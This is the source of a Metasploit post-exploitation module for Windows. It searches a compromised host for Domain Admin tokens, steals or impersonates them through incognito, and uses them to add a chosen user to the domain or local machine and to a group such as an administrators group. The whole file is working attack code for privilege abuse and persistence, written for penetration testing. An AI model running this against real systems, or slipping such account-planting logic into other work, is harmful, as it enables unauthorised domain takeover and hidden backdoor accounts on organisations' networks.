modules/post/windows/manage/add_user.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Accounts
include Msf::Exploit::Deprecated
moved_from 'post/windows/manage/add_user_domain'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Manage Add User to the Domain and/or to a Domain Group',
'Description' => %q{
This module adds a user to the Domain and/or to a Domain group. It will
check if sufficient privileges are present for certain actions and run
getprivs for system. If you elevated privs to system, the
SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to
a process that is running as system. If you don't have privs, this script
exits.
},
'License' => MSF_LICENSE,
'Author' => 'Joshua Abraham <jabra[at]rapid7.com>',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
incognito_impersonate_token
incognito_list_tokens
stdapi_sys_config_getuid
stdapi_sys_config_steal_token
stdapi_sys_process_get_processes
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'The username of the user to add (not-qualified, e.g. BOB)']),
OptString.new('PASSWORD', [false, 'Password of the user']),
OptString.new('GROUP', [false, 'Add user into group, creating it if necessary']),
OptBool.new('ADDTOGROUP', [true, 'Add group if it does not exist', false]),
OptBool.new('ADDTODOMAIN', [true, 'Add to Domain if true, otherwise add locally', true]),
OptString.new('TOKEN', [false, 'Username or PID of the token which will be used (if blank, Domain Admin tokens will be enumerated)', '']),
]
)
end
def check_result(user_result)
case user_result['return']
when client.railgun.const('ERROR_ACCESS_DENIED')
print_error 'Sorry, you do not have permission to add that user.'
when client.railgun.const('NERR_UserExists')
print_status 'User already exists.'
when client.railgun.const('NERR_GroupExists')
print_status 'Group already exists.'
when client.railgun.const('NERR_UserNotFound')
print_error 'The user name could not be found.'
when client.railgun.const('NERR_InvalidComputer')
print_error 'The server you specified was invalid.'
when client.railgun.const('NERR_NotPrimary')
print_error 'You must be on the primary domain controller to do that.'
when client.railgun.const('NERR_GroupNotFound')
print_error 'The group specified by the groupname parameter does not exist.'
when client.railgun.const('NERR_PasswordTooShort')
print_error 'The password does not appear to be valid (too short, too long, too recent, etc.).'
when client.railgun.const('ERROR_ALIAS_EXISTS')
print_status 'The local group already exists.'
when client.railgun.const('NERR_UserInGroup')
print_status 'The user already belongs to this group.'
when client.railgun.const('ERROR_MORE_DATA')
print_status 'More entries are available. Specify a large enough buffer to receive all entries.'
when client.railgun.const('ERROR_NO_SUCH_ALIAS')
print_status 'The specified account name is not a member of the group.'
when client.railgun.const('ERROR_NO_SUCH_MEMBER')
print_status 'One or more of the members specified do not exist. Therefore, no new members were added.).'
when client.railgun.const('ERROR_MEMBER_IN_ALIAS')
print_status 'One or more of the members specified were already members of the group. No new members were added.'
when client.railgun.const('ERROR_INVALID_MEMBER')
print_status 'One or more of the members cannot be added because their account type is invalid. No new members were added.'
when client.railgun.const('RPC_S_SERVER_UNAVAILABLE')
print_status 'The RPC server is unavailable.'
else
print_error "Unexpectedly returned #{user_result}"
end
end
## steal domain admin token
## return code: bool
def steal_token(domain_user, domain)
if (session.sys.config.getuid == domain_user) || (domain_user == '')
return true
end
## load incognito
if !session.incognito
session.core.use('incognito')
end
if !session.incognito
print_error("Failed to load incognito on #{session.sid} / #{session.session_host}")
return false
end
## verify domain_user contains a domain
if domain_user.index('\\').nil?
domain_user = "#{domain}\\#{domain_user}"
else
domain_user = ''
end
## token is a PID
target_pid = ''
if (datastore['TOKEN'] =~ /^\d+$/)
pid = datastore['TOKEN']
session.sys.process.get_processes.sort_by { rand }.each do |x|
if (pid == x['pid'])
target_pid = pid
end
end
## token is a Domain User
else
session.sys.process.get_processes.sort_by { rand }.each do |x|
if ((x['user'] == domain_user) && (target_pid == ''))
target_pid = x['pid']
print_status("Found token for #{domain_user}")
end
end
end
if target_pid != ''
# Do the migration
print_status("Stealing token of process ID #{target_pid}")
session.sys.config.steal_token(target_pid)
if domain_user != ''
domain_user = session.sys.config.getuid
else
print_status("Stealing token of process ID #{target_pid}")
session.sys.config.steal_token(target_pid)
if domain_user != ''
domain_user = session.sys.config.getuid
end
end
if session.sys.config.getuid != domain_user
print_error "Steal Token Failed (running as: #{session.sys.config.getuid})"
return false
end
else
print_status('No process tokens found.')
if (domain_user != '')
vprint_status('Trying impersonate_token technique...')
session.incognito.incognito_impersonate_token(domain_user)
else
return false
end
end
return true
end
## enumerate if the session has a domain admin token on it
## Return: token_found,token_user,current_user; otherwise false
def token_hunter(domain)
## gather data
domain_admins = get_members_from_group('Domain Admins', get_domain('DomainControllerName'))
## load incognito
if !session.incognito
session.core.use('incognito')
end
if !session.incognito
print_error("Failed to load incognito on #{session.sid} / #{session.session_host}")
return false
end
domain_admins.each do |da_user|
## current user
if session.sys.config.getuid == "#{domain}\\#{da_user}"
print_good "Found Domain Admin Token: #{session.sid} - #{session.session_host} - #{da_user} (Current User)"
return true, '', true
end
## parse delegation tokens
res = session.incognito.incognito_list_tokens(0)
if res
res['delegation'].split("\n").each do |user|
ndom, nusr = user.split('\\')
if !nusr
nusr = ndom
ndom = nil
end
next unless (ndom == domain) && (da_user == nusr)
sid = session.sid
peer = session.session_host
print_good("Found Domain Admin Token: #{sid} - #{peer} - #{nusr} (Delegation Token)")
return true, nusr, false
end
end
## parse process list
session.sys.process.get_processes.each do |x|
next unless (x['user'] == "#{domain}\\#{da_user}")
target_pid = x['pid']
sid = session.sid
peer = session.session_host
report_note(
host: session,
type: 'domain.token.pid',
data: { pid: target_pid, sid: sid, peer: peer, user: da_user },
update: :unique_data
)
print_good("Found Domain Admin Token: #{sid} - #{peer} - #{da_user} (PID: #{target_pid})")
return true, da_user, false
end
end
return false
end
def local_mode
if datastore['PASSWORD'].nil?
datastore['PASSWORD'] = Rex::Text.rand_text_alphanumeric(16) + Rex::Text.rand_text_numeric(2)
print_status("You have not set up a PASSWORD. The default is '#{datastore['PASSWORD']}'")
end
# Add user
if enum_user.include? datastore['USERNAME']
print_status("User '#{datastore['USERNAME']}' already exists.")
else
result = add_user(datastore['USERNAME'], datastore['PASSWORD'])
if result['return'] == 0
print_good("User '#{datastore['USERNAME']}' was added.")
else
check_result(result)
end
end
# Add localgroup
if datastore['ADDTOGROUP'] && (!enum_localgroup.include? datastore['GROUP'])
if datastore['GROUP']
result = add_localgroup(datastore['GROUP'])
if result['return'] == 0
print_good("Group '#{datastore['GROUP']}' was added.")
else
check_result(result)
end
else
print_error('Check your group name')
end
end
# Add Member to LocalGroup
if datastore['ADDTOGROUP'] && datastore['GROUP']
result = add_members_localgroup(datastore['GROUP'], datastore['USERNAME'])
if result['return'] == 0
print_good("'#{datastore['USERNAME']}' is now a member of the '#{datastore['GROUP']}' group.")
else
check_result(result)
end
end
end
def domain_mode
## check domain
server_name = get_domain('DomainControllerName')
if server_name
print_good("Found Domain : #{server_name}")
else
print_error('No DC is available for the specified domain or the domain does not exist. ')
return false
end
if datastore['PASSWORD'].nil?
datastore['PASSWORD'] = Rex::Text.rand_text_alphanumeric(16) + Rex::Text.rand_text_numeric(2)
print_status("You have not set up a PASSWORD. The default is '#{datastore['PASSWORD']}'")
end
## enum domain
domain = primary_domain
if domain.nil?
return
end
## steal token if neccessary
if datastore['TOKEN'] == ''
token_found, token_user, current_user = token_hunter(domain)
if token_found && current_user == false
datastore['TOKEN'] = token_user
end
end
## steal token
steal_token_res = steal_token(datastore['TOKEN'], domain)
return if steal_token_res == false
## Add user to the domain
if (enum_user(server_name).include? datastore['USERNAME'])
print_status("#{datastore['USERNAME']} is already a member of the #{domain} domain")
else
print_status("Adding '#{datastore['USERNAME']}' as a user to the #{domain} domain")
result = add_user(datastore['USERNAME'], datastore['PASSWORD'], server_name)
if result['return'] == 0
print_good("User '#{datastore['USERNAME']}' was added to the #{domain} domain.")
else
check_result(result)
end
end
## Add group to domain
if datastore['ADDTOGROUP'] && (!enum_group(server_name).include? datastore['GROUP'])
if datastore['GROUP']
result = add_group(datastore['GROUP'], server_name)
if result['return'] == 0
print_good("Group '#{datastore['GROUP']}' was added!")
else
check_result(result)
end
if (!enum_group(server_name).include? datastore['GROUP'])
print_error("The #{datastore['GROUP']} group not exist in the domain. It is possible that the same group name exists for the local group.")
end
else
print_error('Check your group name')
end
end
if datastore['ADDTOGROUP'] && (enum_group(server_name).include? datastore['GROUP'])
## check if user is already a member of the group
members = get_members_from_group(datastore['GROUP'], server_name)
# Show results if we have any, Error if we don't
if members.include? datastore['USERNAME']
print_status("#{datastore['USERNAME']} is already a member of the '#{datastore['GROUP']}' group")
else
print_status("Adding '#{datastore['USERNAME']}' to the '#{datastore['GROUP']}' Domain Group")
result = add_members_group(datastore['GROUP'], datastore['USERNAME'], server_name)
if result['return'] == 0
print_good("'#{datastore['USERNAME']}' is now a member of the '#{datastore['GROUP']}' group!")
else
check_result(result)
end
end
end
end
# Run Method for when run command is issued
def run
print_status("Running module on '#{sysinfo['Computer']}'")
if datastore['ADDTODOMAIN']
print_status('Domain Mode')
domain_mode
else
print_status('Local Mode')
local_mode
end
return nil
end
def primary_domain
dom_info = get_domain('DomainControllerName')
if !dom_info.nil? && dom_info =~ /\./
foo = dom_info.split('.')
domain = foo[1].upcase
else
print_error("Error parsing output from the registry. (#{dom_info})")
end
return domain
end
end